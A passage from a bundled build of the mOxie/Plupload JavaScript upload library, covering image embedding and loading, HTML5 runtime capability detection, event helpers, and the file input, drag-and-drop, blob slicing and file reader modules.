5874 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5875 @return {String} Image as binary string
5876 */
5877 getAsBinaryString: function(type, quality) {
5878 var dataUrl = this.getAsDataURL(type, quality);
5879 return Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7));
5880 },
5881
5882 /**
5883 Embeds a visual representation of the image into the specified node. Depending on the runtime,
5884 it might be a canvas, an img node or a thrid party shim object (Flash or SilverLight - very rare,
5885 can be used in legacy browsers that do not have canvas or proper dataURI support).
5886
5887 @method embed
5888 @param {DOMElement} el DOM element to insert the image object into
5889 @param {Object} [opts]
5890 @param {Number} [opts.width] The width of an embed (defaults to the image width)
5891 @param {Number} [opts.height] The height of an embed (defaults to the image height)
5892 @param {String} [type="image/jpeg"] Mime type
5893 @param {Number} [quality=90] Quality of an embed, if mime type is image/jpeg
5894 @param {Boolean} [crop=false] Whether to crop an embed to the specified dimensions
5895 */
5896 embed: function(el, opts) {
5897 var self = this
5898 , runtime // this has to be outside of all the closures to contain proper runtime
5899 ;
5900
5901 opts = Basic.extend({
5902 width: this.width,
5903 height: this.height,
5904 type: this.type || 'image/jpeg',
5905 quality: 90
5906 }, opts || {});
5907
5908
5909 function render(type, quality) {
5910 var img = this;
5911
5912 // if possible, embed a canvas element directly
5913 if (Env.can('create_canvas')) {
5914 var canvas = img.getAsCanvas();
5915 if (canvas) {
5916 el.appendChild(canvas);
5917 canvas = null;
5918 img.destroy();
5919 self.trigger('embedded');
5920 return;
5921 }
5922 }
5923
5924 var dataUrl = img.getAsDataURL(type, quality);
5925 if (!dataUrl) {
5926 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
5927 }
5928
5929 if (Env.can('use_data_uri_of', dataUrl.length)) {
5930 el.innerHTML = '<img src="' + dataUrl + '" width="' + img.width + '" height="' + img.height + '" />';
5931 img.destroy();
5932 self.trigger('embedded');
5933 } else {
5934 var tr = new Transporter();
5935
5936 tr.bind("TransportingComplete", function() {
5937 runtime = self.connectRuntime(this.result.ruid);
5938
5939 self.bind("Embedded", function() {
5940 // position and size properly
5941 Basic.extend(runtime.getShimContainer().style, {
5942 //position: 'relative',
5943 top: '0px',
5944 left: '0px',
5945 width: img.width + 'px',
5946 height: img.height + 'px'
5947 });
5948
5949 // some shims (Flash/SilverLight) reinitialize, if parent element is hidden, reordered or it's
5950 // position type changes (in Gecko), but since we basically need this only in IEs 6/7 and
5951 // sometimes 8 and they do not have this problem, we can comment this for now
5952 /*tr.bind("RuntimeInit", function(e, runtime) {
5953 tr.destroy();
5954 runtime.destroy();
5955 onResize.call(self); // re-feed our image data
5956 });*/
5957
5958 runtime = null; // release
5959 }, 999);
5960
5961 runtime.exec.call(self, "ImageView", "display", this.result.uid, width, height);
5962 img.destroy();
5963 });
5964
5965 tr.transport(Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)), type, {
5966 required_caps: {
5967 display_media: true
5968 },
5969 runtime_order: 'flash,silverlight',
5970 container: el
5971 });
5972 }
5973 }
5974
5975 try {
5976 if (!(el = Dom.get(el))) {
5977 throw new x.DOMException(x.DOMException.INVALID_NODE_TYPE_ERR);
5978 }
5979
5980 if (!this.size) { // only preloaded image objects can be used as source
5981 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5982 }
5983
5984 // high-resolution images cannot be consistently handled across the runtimes
5985 if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
5986 //throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
5987 }
5988
5989 var imgCopy = new Image();
5990
5991 imgCopy.bind("Resize", function() {
5992 render.call(this, opts.type, opts.quality);
5993 });
5994
5995 imgCopy.bind("Load", function() {
5996 imgCopy.downsize(opts);
5997 });
5998
5999 // if embedded thumb data is available and dimensions are big enough, use it
6000 if (this.meta.thumb && this.meta.thumb.width >= opts.width && this.meta.thumb.height >= opts.height) {
6001 imgCopy.load(this.meta.thumb.data);
6002 } else {
6003 imgCopy.clone(this, false);
6004 }
6005
6006 return imgCopy;
6007 } catch(ex) {
6008 // for now simply trigger error event
6009 this.trigger('error', ex.code);
6010 }
6011 },
6012
6013 /**
6014 Properly destroys the image and frees resources in use. If any. Recommended way to dispose mOxie.Image object.
6015
6016 @method destroy
6017 */
6018 destroy: function() {
6019 if (this.ruid) {
6020 this.getRuntime().exec.call(this, 'Image', 'destroy');
6021 this.disconnectRuntime();
6022 }
6023 this.unbindAll();
6024 }
6025 });
6026
6027
6028 // this is here, because in order to bind properly, we need uid, which is created above
6029 this.handleEventProps(dispatches);
6030
6031 this.bind('Load Resize', function() {
6032 _updateInfo.call(this);
6033 }, 999);
6034
6035
6036 function _updateInfo(info) {
6037 if (!info) {
6038 info = this.exec('Image', 'getInfo');
6039 }
6040
6041 this.size = info.size;
6042 this.width = info.width;
6043 this.height = info.height;
6044 this.type = info.type;
6045 this.meta = info.meta;
6046
6047 // update file name, only if empty
6048 if (this.name === '') {
6049 this.name = info.name;
6050 }
6051 }
6052
6053
6054 function _load(src) {
6055 var srcType = Basic.typeOf(src);
6056
6057 try {
6058 // if source is Image
6059 if (src instanceof Image) {
6060 if (!src.size) { // only preloaded image objects can be used as source
6061 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
6062 }
6063 _loadFromImage.apply(this, arguments);
6064 }
6065 // if source is o.Blob/o.File
6066 else if (src instanceof Blob) {
6067 if (!~Basic.inArray(src.type, ['image/jpeg', 'image/png'])) {
6068 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
6069 }
6070 _loadFromBlob.apply(this, arguments);
6071 }
6072 // if native blob/file
6073 else if (Basic.inArray(srcType, ['blob', 'file']) !== -1) {
6074 _load.call(this, new File(null, src), arguments[1]);
6075 }
6076 // if String
6077 else if (srcType === 'string') {
6078 // if dataUrl String
6079 if (src.substr(0, 5) === 'data:') {
6080 _load.call(this, new Blob(null, { data: src }), arguments[1]);
6081 }
6082 // else assume Url, either relative or absolute
6083 else {
6084 _loadFromUrl.apply(this, arguments);
6085 }
6086 }
6087 // if source seems to be an img node
6088 else if (srcType === 'node' && src.nodeName.toLowerCase() === 'img') {
6089 _load.call(this, src.src, arguments[1]);
6090 }
6091 else {
6092 throw new x.DOMException(x.DOMException.TYPE_MISMATCH_ERR);
6093 }
6094 } catch(ex) {
6095 // for now simply trigger error event
6096 this.trigger('error', ex.code);
6097 }
6098 }
6099
6100
6101 function _loadFromImage(img, exact) {
6102 var runtime = this.connectRuntime(img.ruid);
6103 this.ruid = runtime.uid;
6104 runtime.exec.call(this, 'Image', 'loadFromImage', img, (Basic.typeOf(exact) === 'undefined' ? true : exact));
6105 }
6106
6107
6108 function _loadFromBlob(blob, options) {
6109 var self = this;
6110
6111 self.name = blob.name || '';
6112
6113 function exec(runtime) {
6114 self.ruid = runtime.uid;
6115 runtime.exec.call(self, 'Image', 'loadFromBlob', blob);
6116 }
6117
6118 if (blob.isDetached()) {
6119 this.bind('RuntimeInit', function(e, runtime) {
6120 exec(runtime);
6121 });
6122
6123 // convert to object representation
6124 if (options && typeof(options.required_caps) === 'string') {
6125 options.required_caps = Runtime.parseCaps(options.required_caps);
6126 }
6127
6128 this.connectRuntime(Basic.extend({
6129 required_caps: {
6130 access_image_binary: true,
6131 resize_image: true
6132 }
6133 }, options));
6134 } else {
6135 exec(this.connectRuntime(blob.ruid));
6136 }
6137 }
6138
6139
6140 function _loadFromUrl(url, options) {
6141 var self = this, xhr;
6142
6143 xhr = new XMLHttpRequest();
6144
6145 xhr.open('get', url);
6146 xhr.responseType = 'blob';
6147
6148 xhr.onprogress = function(e) {
6149 self.trigger(e);
6150 };
6151
6152 xhr.onload = function() {
6153 _loadFromBlob.call(self, xhr.response, true);
6154 };
6155
6156 xhr.onerror = function(e) {
6157 self.trigger(e);
6158 };
6159
6160 xhr.onloadend = function() {
6161 xhr.destroy();
6162 };
6163
6164 xhr.bind('RuntimeError', function(e, err) {
6165 self.trigger('RuntimeError', err);
6166 });
6167
6168 xhr.send(null, options);
6169 }
6170 }
6171
6172 // virtual world will crash on you if image has a resolution higher than this:
6173 Image.MAX_RESIZE_WIDTH = 8192;
6174 Image.MAX_RESIZE_HEIGHT = 8192;
6175
6176 Image.prototype = EventTarget.instance;
6177
6178 return Image;
6179});
6180
6181// Included from: src/javascript/runtime/html5/Runtime.js
6182
6183/**
6184 * Runtime.js
6185 *
6186 * Copyright 2013, Moxiecode Systems AB
6187 * Released under GPL License.
6188 *
6189 * License: http://www.plupload.com/license
6190 * Contributing: http://www.plupload.com/contributing
6191 */
6192
6193/*global File:true */
6194
6195/**
6196Defines constructor for HTML5 runtime.
6197
6198@class moxie/runtime/html5/Runtime
6199@private
6200*/
6201define("moxie/runtime/html5/Runtime", [
6202 "moxie/core/utils/Basic",
6203 "moxie/core/Exceptions",
6204 "moxie/runtime/Runtime",
6205 "moxie/core/utils/Env"
6206], function(Basic, x, Runtime, Env) {
6207
6208 var type = "html5", extensions = {};
6209
6210 function Html5Runtime(options) {
6211 var I = this
6212 , Test = Runtime.capTest
6213 , True = Runtime.capTrue
6214 ;
6215
6216 var caps = Basic.extend({
6217 access_binary: Test(window.FileReader || window.File && window.File.getAsDataURL),
6218 access_image_binary: function() {
6219 return I.can('access_binary') && !!extensions.Image;
6220 },
6221 display_media: Test(Env.can('create_canvas') || Env.can('use_data_uri_over32kb')),
6222 do_cors: Test(window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()),
6223 drag_and_drop: Test(function() {
6224 // this comes directly from Modernizr: http://www.modernizr.com/
6225 var div = document.createElement('div');
6226 // IE has support for drag and drop since version 5, but doesn't support dropping files from desktop
6227 return (('draggable' in div) || ('ondragstart' in div && 'ondrop' in div)) &&
6228 (Env.browser !== 'IE' || Env.verComp(Env.version, 9, '>'));
6229 }()),
6230 filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
6231 return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) ||
6232 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
6233 (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
6234 }()),
6235 return_response_headers: True,
6236 return_response_type: function(responseType) {
6237 if (responseType === 'json' && !!window.JSON) { // we can fake this one even if it's not supported
6238 return true;
6239 }
6240 return Env.can('return_response_type', responseType);
6241 },
6242 return_status_code: True,
6243 report_upload_progress: Test(window.XMLHttpRequest && new XMLHttpRequest().upload),
6244 resize_image: function() {
6245 return I.can('access_binary') && Env.can('create_canvas');
6246 },
6247 select_file: function() {
6248 return Env.can('use_fileinput') && window.File;
6249 },
6250 select_folder: function() {
6251 return I.can('select_file') && Env.browser === 'Chrome' && Env.verComp(Env.version, 21, '>=');
6252 },
6253 select_multiple: function() {
6254 // it is buggy on Safari Windows and iOS
6255 return I.can('select_file') &&
6256 !(Env.browser === 'Safari' && Env.os === 'Windows') &&
6257 !(Env.os === 'iOS' && Env.verComp(Env.osVersion, "7.0.0", '>') && Env.verComp(Env.osVersion, "8.0.0", '<'));
6258 },
6259 send_binary_string: Test(window.XMLHttpRequest && (new XMLHttpRequest().sendAsBinary || (window.Uint8Array && window.ArrayBuffer))),
6260 send_custom_headers: Test(window.XMLHttpRequest),
6261 send_multipart: function() {
6262 return !!(window.XMLHttpRequest && new XMLHttpRequest().upload && window.FormData) || I.can('send_binary_string');
6263 },
6264 slice_blob: Test(window.File && (File.prototype.mozSlice || File.prototype.webkitSlice || File.prototype.slice)),
6265 stream_upload: function(){
6266 return I.can('slice_blob') && I.can('send_multipart');
6267 },
6268 summon_file_dialog: function() { // yeah... some dirty sniffing here...
6269 return I.can('select_file') && (
6270 (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
6271 (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
6272 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
6273 !!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
6274 );
6275 },
6276 upload_filesize: True
6277 },
6278 arguments[2]
6279 );
6280
6281 Runtime.call(this, options, (arguments[1] || type), caps);
6282
6283
6284 Basic.extend(this, {
6285
6286 init : function() {
6287 this.trigger("Init");
6288 },
6289
6290 destroy: (function(destroy) { // extend default destroy method
6291 return function() {
6292 destroy.call(I);
6293 destroy = I = null;
6294 };
6295 }(this.destroy))
6296 });
6297
6298 Basic.extend(this.getShim(), extensions);
6299 }
6300
6301 Runtime.addConstructor(type, Html5Runtime);
6302
6303 return extensions;
6304});
6305
6306// Included from: src/javascript/core/utils/Events.js
6307
6308/**
6309 * Events.js
6310 *
6311 * Copyright 2013, Moxiecode Systems AB
6312 * Released under GPL License.
6313 *
6314 * License: http://www.plupload.com/license
6315 * Contributing: http://www.plupload.com/contributing
6316 */
6317
6318define('moxie/core/utils/Events', [
6319 'moxie/core/utils/Basic'
6320], function(Basic) {
6321 var eventhash = {}, uid = 'moxie_' + Basic.guid();
6322
6323 // IE W3C like event funcs
6324 function preventDefault() {
6325 this.returnValue = false;
6326 }
6327
6328 function stopPropagation() {
6329 this.cancelBubble = true;
6330 }
6331
6332 /**
6333 Adds an event handler to the specified object and store reference to the handler
6334 in objects internal Plupload registry (@see removeEvent).
6335
6336 @method addEvent
6337 @for Utils
6338 @static
6339 @param {Object} obj DOM element like object to add handler to.
6340 @param {String} name Name to add event listener to.
6341 @param {Function} callback Function to call when event occurs.
6342 @param {String} [key] that might be used to add specifity to the event record.
6343 */
6344 var addEvent = function(obj, name, callback, key) {
6345 var func, events;
6346
6347 name = name.toLowerCase();
6348
6349 // Add event listener
6350 if (obj.addEventListener) {
6351 func = callback;
6352
6353 obj.addEventListener(name, func, false);
6354 } else if (obj.attachEvent) {
6355 func = function() {
6356 var evt = window.event;
6357
6358 if (!evt.target) {
6359 evt.target = evt.srcElement;
6360 }
6361
6362 evt.preventDefault = preventDefault;
6363 evt.stopPropagation = stopPropagation;
6364
6365 callback(evt);
6366 };
6367
6368 obj.attachEvent('on' + name, func);
6369 }
6370
6371 // Log event handler to objects internal mOxie registry
6372 if (!obj[uid]) {
6373 obj[uid] = Basic.guid();
6374 }
6375
6376 if (!eventhash.hasOwnProperty(obj[uid])) {
6377 eventhash[obj[uid]] = {};
6378 }
6379
6380 events = eventhash[obj[uid]];
6381
6382 if (!events.hasOwnProperty(name)) {
6383 events[name] = [];
6384 }
6385
6386 events[name].push({
6387 func: func,
6388 orig: callback, // store original callback for IE
6389 key: key
6390 });
6391 };
6392
6393
6394 /**
6395 Remove event handler from the specified object. If third argument (callback)
6396 is not specified remove all events with the specified name.
6397
6398 @method removeEvent
6399 @static
6400 @param {Object} obj DOM element to remove event listener(s) from.
6401 @param {String} name Name of event listener to remove.
6402 @param {Function|String} [callback] might be a callback or unique key to match.
6403 */
6404 var removeEvent = function(obj, name, callback) {
6405 var type, undef;
6406
6407 name = name.toLowerCase();
6408
6409 if (obj[uid] && eventhash[obj[uid]] && eventhash[obj[uid]][name]) {
6410 type = eventhash[obj[uid]][name];
6411 } else {
6412 return;
6413 }
6414
6415 for (var i = type.length - 1; i >= 0; i--) {
6416 // undefined or not, key should match
6417 if (type[i].orig === callback || type[i].key === callback) {
6418 if (obj.removeEventListener) {
6419 obj.removeEventListener(name, type[i].func, false);
6420 } else if (obj.detachEvent) {
6421 obj.detachEvent('on'+name, type[i].func);
6422 }
6423
6424 type[i].orig = null;
6425 type[i].func = null;
6426 type.splice(i, 1);
6427
6428 // If callback was passed we are done here, otherwise proceed
6429 if (callback !== undef) {
6430 break;
6431 }
6432 }
6433 }
6434
6435 // If event array got empty, remove it
6436 if (!type.length) {
6437 delete eventhash[obj[uid]][name];
6438 }
6439
6440 // If mOxie registry has become empty, remove it
6441 if (Basic.isEmptyObj(eventhash[obj[uid]])) {
6442 delete eventhash[obj[uid]];
6443
6444 // IE doesn't let you remove DOM object property with - delete
6445 try {
6446 delete obj[uid];
6447 } catch(e) {
6448 obj[uid] = undef;
6449 }
6450 }
6451 };
6452
6453
6454 /**
6455 Remove all kind of events from the specified object
6456
6457 @method removeAllEvents
6458 @static
6459 @param {Object} obj DOM element to remove event listeners from.
6460 @param {String} [key] unique key to match, when removing events.
6461 */
6462 var removeAllEvents = function(obj, key) {
6463 if (!obj || !obj[uid]) {
6464 return;
6465 }
6466
6467 Basic.each(eventhash[obj[uid]], function(events, name) {
6468 removeEvent(obj, name, key);
6469 });
6470 };
6471
6472 return {
6473 addEvent: addEvent,
6474 removeEvent: removeEvent,
6475 removeAllEvents: removeAllEvents
6476 };
6477});
6478
6479// Included from: src/javascript/runtime/html5/file/FileInput.js
6480
6481/**
6482 * FileInput.js
6483 *
6484 * Copyright 2013, Moxiecode Systems AB
6485 * Released under GPL License.
6486 *
6487 * License: http://www.plupload.com/license
6488 * Contributing: http://www.plupload.com/contributing
6489 */
6490
6491/**
6492@class moxie/runtime/html5/file/FileInput
6493@private
6494*/
6495define("moxie/runtime/html5/file/FileInput", [
6496 "moxie/runtime/html5/Runtime",
6497 "moxie/file/File",
6498 "moxie/core/utils/Basic",
6499 "moxie/core/utils/Dom",
6500 "moxie/core/utils/Events",
6501 "moxie/core/utils/Mime",
6502 "moxie/core/utils/Env"
6503], function(extensions, File, Basic, Dom, Events, Mime, Env) {
6504
6505 function FileInput() {
6506 var _options;
6507
6508 Basic.extend(this, {
6509 init: function(options) {
6510 var comp = this, I = comp.getRuntime(), input, shimContainer, mimes, browseButton, zIndex, top;
6511
6512 _options = options;
6513
6514 // figure out accept string
6515 mimes = _options.accept.mimes || Mime.extList2mimes(_options.accept, I.can('filter_by_extension'));
6516
6517 shimContainer = I.getShimContainer();
6518
6519 shimContainer.innerHTML = '<input id="' + I.uid +'" type="file" style="font-size:999px;opacity:0;"' +
6520 (_options.multiple && I.can('select_multiple') ? 'multiple' : '') +
6521 (_options.directory && I.can('select_folder') ? 'webkitdirectory directory' : '') + // Chrome 11+
6522 (mimes ? ' accept="' + mimes.join(',') + '"' : '') + ' />';
6523
6524 input = Dom.get(I.uid);
6525
6526 // prepare file input to be placed underneath the browse_button element
6527 Basic.extend(input.style, {
6528 position: 'absolute',
6529 top: 0,
6530 left: 0,
6531 width: '100%',
6532 height: '100%'
6533 });
6534
6535
6536 browseButton = Dom.get(_options.browse_button);
6537
6538 // Route click event to the input[type=file] element for browsers that support such behavior
6539 if (I.can('summon_file_dialog')) {
6540 if (Dom.getStyle(browseButton, 'position') === 'static') {
6541 browseButton.style.position = 'relative';
6542 }
6543
6544 zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;
6545
6546 browseButton.style.zIndex = zIndex;
6547 shimContainer.style.zIndex = zIndex - 1;
6548
6549 Events.addEvent(browseButton, 'click', function(e) {
6550 var input = Dom.get(I.uid);
6551 if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
6552 input.click();
6553 }
6554 e.preventDefault();
6555 }, comp.uid);
6556 }
6557
6558 /* Since we have to place input[type=file] on top of the browse_button for some browsers,
6559 browse_button loses interactivity, so we restore it here */
6560 top = I.can('summon_file_dialog') ? browseButton : shimContainer;
6561
6562 Events.addEvent(top, 'mouseover', function() {
6563 comp.trigger('mouseenter');
6564 }, comp.uid);
6565
6566 Events.addEvent(top, 'mouseout', function() {
6567 comp.trigger('mouseleave');
6568 }, comp.uid);
6569
6570 Events.addEvent(top, 'mousedown', function() {
6571 comp.trigger('mousedown');
6572 }, comp.uid);
6573
6574 Events.addEvent(Dom.get(_options.container), 'mouseup', function() {
6575 comp.trigger('mouseup');
6576 }, comp.uid);
6577
6578
6579 input.onchange = function onChange(e) { // there should be only one handler for this
6580 comp.files = [];
6581
6582 Basic.each(this.files, function(file) {
6583 var relativePath = '';
6584
6585 if (_options.directory) {
6586 // folders are represented by dots, filter them out (Chrome 11+)
6587 if (file.name == ".") {
6588 // if it looks like a folder...
6589 return true;
6590 }
6591 }
6592
6593 if (file.webkitRelativePath) {
6594 relativePath = '/' + file.webkitRelativePath.replace(/^\//, '');
6595 }
6596
6597 file = new File(I.uid, file);
6598 file.relativePath = relativePath;
6599
6600 comp.files.push(file);
6601 });
6602
6603 // clearing the value enables the user to select the same file again if they want to
6604 if (Env.browser !== 'IE' && Env.browser !== 'IEMobile') {
6605 this.value = '';
6606 } else {
6607 // in IE input[type="file"] is read-only so the only way to reset it is to re-insert it
6608 var clone = this.cloneNode(true);
6609 this.parentNode.replaceChild(clone, this);
6610 clone.onchange = onChange;
6611 }
6612
6613 if (comp.files.length) {
6614 comp.trigger('change');
6615 }
6616 };
6617
6618 // ready event is perfectly asynchronous
6619 comp.trigger({
6620 type: 'ready',
6621 async: true
6622 });
6623
6624 shimContainer = null;
6625 },
6626
6627
6628 disable: function(state) {
6629 var I = this.getRuntime(), input;
6630
6631 if ((input = Dom.get(I.uid))) {
6632 input.disabled = !!state;
6633 }
6634 },
6635
6636 destroy: function() {
6637 var I = this.getRuntime()
6638 , shim = I.getShim()
6639 , shimContainer = I.getShimContainer()
6640 ;
6641
6642 Events.removeAllEvents(shimContainer, this.uid);
6643 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
6644 Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
6645
6646 if (shimContainer) {
6647 shimContainer.innerHTML = '';
6648 }
6649
6650 shim.removeInstance(this.uid);
6651
6652 _options = shimContainer = shim = null;
6653 }
6654 });
6655 }
6656
6657 return (extensions.FileInput = FileInput);
6658});
6659
6660// Included from: src/javascript/runtime/html5/file/Blob.js
6661
6662/**
6663 * Blob.js
6664 *
6665 * Copyright 2013, Moxiecode Systems AB
6666 * Released under GPL License.
6667 *
6668 * License: http://www.plupload.com/license
6669 * Contributing: http://www.plupload.com/contributing
6670 */
6671
6672/**
6673@class moxie/runtime/html5/file/Blob
6674@private
6675*/
6676define("moxie/runtime/html5/file/Blob", [
6677 "moxie/runtime/html5/Runtime",
6678 "moxie/file/Blob"
6679], function(extensions, Blob) {
6680
6681 function HTML5Blob() {
6682 function w3cBlobSlice(blob, start, end) {
6683 var blobSlice;
6684
6685 if (window.File.prototype.slice) {
6686 try {
6687 blob.slice(); // depricated version will throw WRONG_ARGUMENTS_ERR exception
6688 return blob.slice(start, end);
6689 } catch (e) {
6690 // depricated slice method
6691 return blob.slice(start, end - start);
6692 }
6693 // slice method got prefixed: https://bugzilla.mozilla.org/show_bug.cgi?id=649672
6694 } else if ((blobSlice = window.File.prototype.webkitSlice || window.File.prototype.mozSlice)) {
6695 return blobSlice.call(blob, start, end);
6696 } else {
6697 return null; // or throw some exception
6698 }
6699 }
6700
6701 this.slice = function() {
6702 return new Blob(this.getRuntime().uid, w3cBlobSlice.apply(this, arguments));
6703 };
6704 }
6705
6706 return (extensions.Blob = HTML5Blob);
6707});
6708
6709// Included from: src/javascript/runtime/html5/file/FileDrop.js
6710
6711/**
6712 * FileDrop.js
6713 *
6714 * Copyright 2013, Moxiecode Systems AB
6715 * Released under GPL License.
6716 *
6717 * License: http://www.plupload.com/license
6718 * Contributing: http://www.plupload.com/contributing
6719 */
6720
6721/**
6722@class moxie/runtime/html5/file/FileDrop
6723@private
6724*/
6725define("moxie/runtime/html5/file/FileDrop", [
6726 "moxie/runtime/html5/Runtime",
6727 'moxie/file/File',
6728 "moxie/core/utils/Basic",
6729 "moxie/core/utils/Dom",
6730 "moxie/core/utils/Events",
6731 "moxie/core/utils/Mime"
6732], function(extensions, File, Basic, Dom, Events, Mime) {
6733
6734 function FileDrop() {
6735 var _files = [], _allowedExts = [], _options, _ruid;
6736
6737 Basic.extend(this, {
6738 init: function(options) {
6739 var comp = this, dropZone;
6740
6741 _options = options;
6742 _ruid = comp.ruid; // every dropped-in file should have a reference to the runtime
6743 _allowedExts = _extractExts(_options.accept);
6744 dropZone = _options.container;
6745
6746 Events.addEvent(dropZone, 'dragover', function(e) {
6747 if (!_hasFiles(e)) {
6748 return;
6749 }
6750 e.preventDefault();
6751 e.dataTransfer.dropEffect = 'copy';
6752 }, comp.uid);
6753
6754 Events.addEvent(dropZone, 'drop', function(e) {
6755 if (!_hasFiles(e)) {
6756 return;
6757 }
6758 e.preventDefault();
6759
6760 _files = [];
6761
6762 // Chrome 21+ accepts folders via Drag'n'Drop
6763 if (e.dataTransfer.items && e.dataTransfer.items[0].webkitGetAsEntry) {
6764 _readItems(e.dataTransfer.items, function() {
6765 comp.files = _files;
6766 comp.trigger("drop");
6767 });
6768 } else {
6769 Basic.each(e.dataTransfer.files, function(file) {
6770 _addFile(file);
6771 });
6772 comp.files = _files;
6773 comp.trigger("drop");
6774 }
6775 }, comp.uid);
6776
6777 Events.addEvent(dropZone, 'dragenter', function(e) {
6778 comp.trigger("dragenter");
6779 }, comp.uid);
6780
6781 Events.addEvent(dropZone, 'dragleave', function(e) {
6782 comp.trigger("dragleave");
6783 }, comp.uid);
6784 },
6785
6786 destroy: function() {
6787 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
6788 _ruid = _files = _allowedExts = _options = null;
6789 }
6790 });
6791
6792
6793 function _hasFiles(e) {
6794 if (!e.dataTransfer || !e.dataTransfer.types) { // e.dataTransfer.files is not available in Gecko during dragover
6795 return false;
6796 }
6797
6798 var types = Basic.toArray(e.dataTransfer.types || []);
6799
6800 return Basic.inArray("Files", types) !== -1 ||
6801 Basic.inArray("public.file-url", types) !== -1 || // Safari < 5
6802 Basic.inArray("application/x-moz-file", types) !== -1 // Gecko < 1.9.2 (< Firefox 3.6)
6803 ;
6804 }
6805
6806
6807 function _addFile(file, relativePath) {
6808 if (_isAcceptable(file)) {
6809 var fileObj = new File(_ruid, file);
6810 fileObj.relativePath = relativePath || '';
6811 _files.push(fileObj);
6812 }
6813 }
6814
6815
6816 function _extractExts(accept) {
6817 var exts = [];
6818 for (var i = 0; i < accept.length; i++) {
6819 [].push.apply(exts, accept[i].extensions.split(/\s*,\s*/));
6820 }
6821 return Basic.inArray('*', exts) === -1 ? exts : [];
6822 }
6823
6824
6825 function _isAcceptable(file) {
6826 if (!_allowedExts.length) {
6827 return true;
6828 }
6829 var ext = Mime.getFileExtension(file.name);
6830 return !ext || Basic.inArray(ext, _allowedExts) !== -1;
6831 }
6832
6833
6834 function _readItems(items, cb) {
6835 var entries = [];
6836 Basic.each(items, function(item) {
6837 var entry = item.webkitGetAsEntry();
6838 // Address #998 (https://code.google.com/p/chromium/issues/detail?id=332579)
6839 if (entry) {
6840 // file() fails on OSX when the filename contains a special character (e.g. umlaut): see #61
6841 if (entry.isFile) {
6842 _addFile(item.getAsFile(), entry.fullPath);
6843 } else {
6844 entries.push(entry);
6845 }
6846 }
6847 });
6848
6849 if (entries.length) {
6850 _readEntries(entries, cb);
6851 } else {
6852 cb();
6853 }
6854 }
6855
6856
6857 function _readEntries(entries, cb) {
6858 var queue = [];
6859 Basic.each(entries, function(entry) {
6860 queue.push(function(cbcb) {
6861 _readEntry(entry, cbcb);
6862 });
6863 });
6864 Basic.inSeries(queue, function() {
6865 cb();
6866 });
6867 }
6868
6869
6870 function _readEntry(entry, cb) {
6871 if (entry.isFile) {
6872 entry.file(function(file) {
6873 _addFile(file, entry.fullPath);
6874 cb();
6875 }, function() {
6876 // fire an error event maybe
6877 cb();
6878 });
6879 } else if (entry.isDirectory) {
6880 _readDirEntry(entry, cb);
6881 } else {
6882 cb(); // not file, not directory? what then?..
6883 }
6884 }
6885
6886
6887 function _readDirEntry(dirEntry, cb) {
6888 var entries = [], dirReader = dirEntry.createReader();
6889
6890 // keep quering recursively till no more entries
6891 function getEntries(cbcb) {
6892 dirReader.readEntries(function(moreEntries) {
6893 if (moreEntries.length) {
6894 [].push.apply(entries, moreEntries);
6895 getEntries(cbcb);
6896 } else {
6897 cbcb();
6898 }
6899 }, cbcb);
6900 }
6901
6902 // ...and you thought FileReader was crazy...
6903 getEntries(function() {
6904 _readEntries(entries, cb);
6905 });
6906 }
6907 }
6908
6909 return (extensions.FileDrop = FileDrop);
6910});
6911
6912// Included from: src/javascript/runtime/html5/file/FileReader.js
6913
6914/**
6915 * FileReader.js
6916 *
6917 * Copyright 2013, Moxiecode Systems AB
6918 * Released under GPL License.
6919 *
6920 * License: http://www.plupload.com/license
6921 * Contributing: http://www.plupload.com/contributing
6922 */
6923
6924/**
6925@class moxie/runtime/html5/file/FileReader
6926@private
6927*/
6928define("moxie/runtime/html5/file/FileReader", [
6929 "moxie/runtime/html5/Runtime",
6930 "moxie/core/utils/Encode",
6931 "moxie/core/utils/Basic"
6932], function(extensions, Encode, Basic) {
6933
6934 function FileReader() {
6935 var _fr, _convertToBinary = false;
6936
6937 Basic.extend(this, {
6938
6939 read: function(op, blob) {
6940 var comp = this;
6941
6942 comp.result = '';
6943
6944 _fr = new window.FileReader();
6945
6946 _fr.addEventListener('progress', function(e) {
6947 comp.trigger(e);
6948 });
6949
6950 _fr.addEventListener('load', function(e) {
6951 comp.result = _convertToBinary ? _toBinary(_fr.result) : _fr.result;
6952 comp.trigger(e);
6953 });
6954
6955 _fr.addEventListener('error', function(e) {
6956 comp.trigger(e, _fr.error);
6957 });
6958
6959 _fr.addEventListener('loadend', function(e) {
6960 _fr = null;
6961 comp.trigger(e);
6962 });
6963
6964 if (Basic.typeOf(_fr[op]) === 'function') {
6965 _convertToBinary = false;
6966 _fr[op](blob.getSource());
6967 } else if (op === 'readAsBinaryString') { // readAsBinaryString is depricated in general and never existed in IE10+
6968 _convertToBinary = true;
6969 _fr.readAsDataURL(blob.getSource());
6970 }
6971 },
6972
6973 abort: function() {
6974 if (_fr) {
6975 _fr.abort();
6976 }
6977 },
6978
6979 destroy: function() {
6980 _fr = null;
6981 }
6982 });
6983
6984 function _toBinary(str) {
6985 return Encode.atob(str.substring(str.indexOf('base64,') + 7));
6986 }
